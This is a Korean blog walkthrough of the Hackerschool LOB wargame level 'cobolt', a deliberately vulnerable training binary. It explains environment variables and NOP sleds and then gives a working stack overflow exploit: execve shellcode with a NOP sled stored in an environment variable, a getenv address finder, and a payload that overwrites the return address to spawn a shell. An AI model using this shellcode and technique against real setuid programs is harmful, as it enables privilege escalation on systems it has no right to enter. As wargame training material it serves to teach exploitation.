본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level2

로그인 하자마자 홈 디렉토리에 cobolt 실행파일과 cobolt.c 소스 파일이 보인다. 소스 파일을 먼저 확인해보았다.

 

[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

이번에도 argv 값을 buffer에 복사하는데 strcpy 함수를 이용한다. 이번엔 버퍼가 16바이트이기 때문에 25바이트나 되는 쉘 코드를 직접적으로 입력할 수가 없다. 대신, 쉘 코드를 환경변수로 저장해서 저장되어있는 주소를 이용해 쉘을 불러낼 수가 있다.

 

환경 변수

운영체제에는 환경 변수라는 것이 존재한다. 환경 변수란, 프로세스가 시스템에서 동작하는 방식에 영향을 미치는 값들의 모임이라는 뜻으로 하나의 변수처럼 처리된다. 환경 변수는 크게 로컬 환경 변수, 사용자 환경 변수, 시스템 환경 변수로 나누어진다.

  • 로컬 환경 변수
    해당 세션에서만 동작하는 환경 변수.

  • 사용자 환경 변수
    특정한 사용자에 대해서만 정의된 환경 변수. 터미널 또는 원격 로그인을 통해 로그인 할 때마다 불러냄.
    ex) .bashrc, .bash_profile, bash_login, .profile 등.

  • 시스템 전체 환경 변수
    해당 시스템에 존재하는 모든 사용자에 대해 정의된 환경 변수. 사용자들이 로그인 할 때마다 불러냄. 
    ex) /etc/environment, /etc/profile, /etc/profile.d, /etc/bash_bashrc 등.

 

 

환경 변수를 설정하면 해당 변수가 메모리 상의 어딘가에 저장되는데, 쉘을 실행하는 쉘 코드를 환경변수로 저장하면 해당 코드를 메모리에 저장하고 해당 주소 값을 알아낸 다음에 해당 주소를 ret에 덮어씌워준다면 쉘을 실행시킬 수 있을 것이다. 먼저 쉘 코드의 환경변수가 저장된 주소를 찾아서 공격하는 과정은 다음과 같다.

 

  1. 쉘 코드를 환경 변수로 등록. 이름은 shellcode.
  2. C언어에서 제공하는 getenv 함수를 이용해 shellcode가 저장된 주소 출력.
  3. 해당 주소 값을 ret에 덮어씌움.

먼저, 쉘 코드를 환경 변수로 등록해야 한다. 환경 변수를 저장하는 법은 다음과 같다.

export 환경변수이름=내용

이름과 내용 사이에는 띄어쓰기가 존재해선 안된다. export shellcode=`python -c 'print"쉘코드"'`를 입력하고 env 명령어를 통해 환경 변수의 목록을 출력하면 shellcode가 저장되어있는 것을 볼 수 있다.

 

[gremlin@localhost gremlin]$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[gremlin@localhost gremlin]$ env
PWD=/home/gremlin
REMOTEHOST=192.168.234.1
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=gremlin
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MACHTYPE=i386-redhat-linux-gnu
MAIL=/var/spool/mail/gremlin
INPUTRC=/etc/inputrc
BASH_ENV=/home/gremlin/.bashrc
LANG=en_US
LOGNAME=gremlin
SHLVL=1
SHELL=/bin/bash2
USERNAME=
HOSTTYPE=i386
OSTYPE=linux-gnu
HISTSIZE=1000
shellcode=1�Ph//shh/bin‰�PS‰�‰째
                                   �€
TERM=xterm
HOME=/home/gremlin
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gremlin/bin
_=/usr/bin/env

 


NOP Sled

쉘코드 환경 변수를 저장할 때

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" 앞에 

"\x90"*100을 붙였다. \x90은 NOP을 의미하며 이는 No OPeration의 약자로, 어셈블리어에서 아무런 일도 하지 않고 가만히 있게 하는 명령어이다. 어셈블리 언어에서 NOP을 만나면 가만히 있다가 다음 명령을 실행한다.

NOP을 쉘코드 앞에 붙여 준 이유는, ret을 조작해 쉘코드가 시작하는 곳의 주소를 ret에 덮어 씌우면 프로그램이 종료되면서 쉘코드를 실행하지만, 정확히 쉘 코드가 시작되는 지점으로 점프해야 쉘 코드가 실행되고 조금이라도 뒤쪽으로 점프한다면 쉘코드가 온전히 실행되지 않기 때문에, 쉘 코드 앞에 NOP이라는 빈 공간을 만들어줘서 항상 쉘 코드가 실행되게끔 해주기 위해 사용된다. 만약 쉘 코드 앞에 NOP이 있다면, 몇개가 있던지 간에 NOP을 만나면 아무것도 안하고 가만히 있다가 다음번의 NOP을 실행하고, 또 가만히 있다가 다음 번의 NOP을 실행하기를 반복하다가 그 뒤에 있는 쉘 코드를 실행하기 때문에 쉘 코드를 안전하게 실행시킬 수 있도록 앞에 NOP을 붙여준다. 이 때, NOP에서부터 쉘 코드까지 동작하는 과정이 썰매를 타고 미끄러지듯이 흘러가는것 같다 하여 이러한 방식을 NOP Sled(썰매)라고 한다.

 


 

해당 변수가 저장된 위치를 보고 싶다면, C언어를 통해 출력해주어야 한다. C언어에서 지원하는 함수중 getenv 함수를 이용하면, 환경 변수의 주소를 알아낼 수 있다. 

getenv("환경 변수 이름");

getenv 함수는 인자로 받은 환경 변수의 주소를 리턴한다. %p 형식으로 해당 함수의 반환값을 출력하면 SHELL의 위치를 알 수 있다.

//test.c
#include <stdio.h>

int main(){
        printf("shellcode = %p \n", getenv("shellcode"));
        return 0;
}
[gremlin@localhost gremlin]$ gcc -o test test.c
[gremlin@localhost gremlin]$ ./test
shellcode = 0xbfffff0d 

shellcode의 위치를 알아냈으니 이제 공격하는 일만 남았다. cobolt의 버퍼의 크기는 16바이트이고, sfp까지 포함하면 20바이트가 된다. 20바이트의 아무 값이나 채워준 뒤 ret에 0xbfffff0d를 저장하면, main함수가 종료되고 ret을 실행시켜서 쉘 코드가 실행되고 쉘을 불러낼 것이다.

argv[1]은 다음과 같다.

`python -c 'print "A"*20+"\x0d\xff\xff\xbf"'`

 

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x0d\xff\xff\xbf"'`
���AAAAAAAAAAAAAA
bash$ 

쉘을 띄우는데 성공했으니 my-pass를 통해 패스워드를 출력한 후 cobolt로 로그인하면 된다.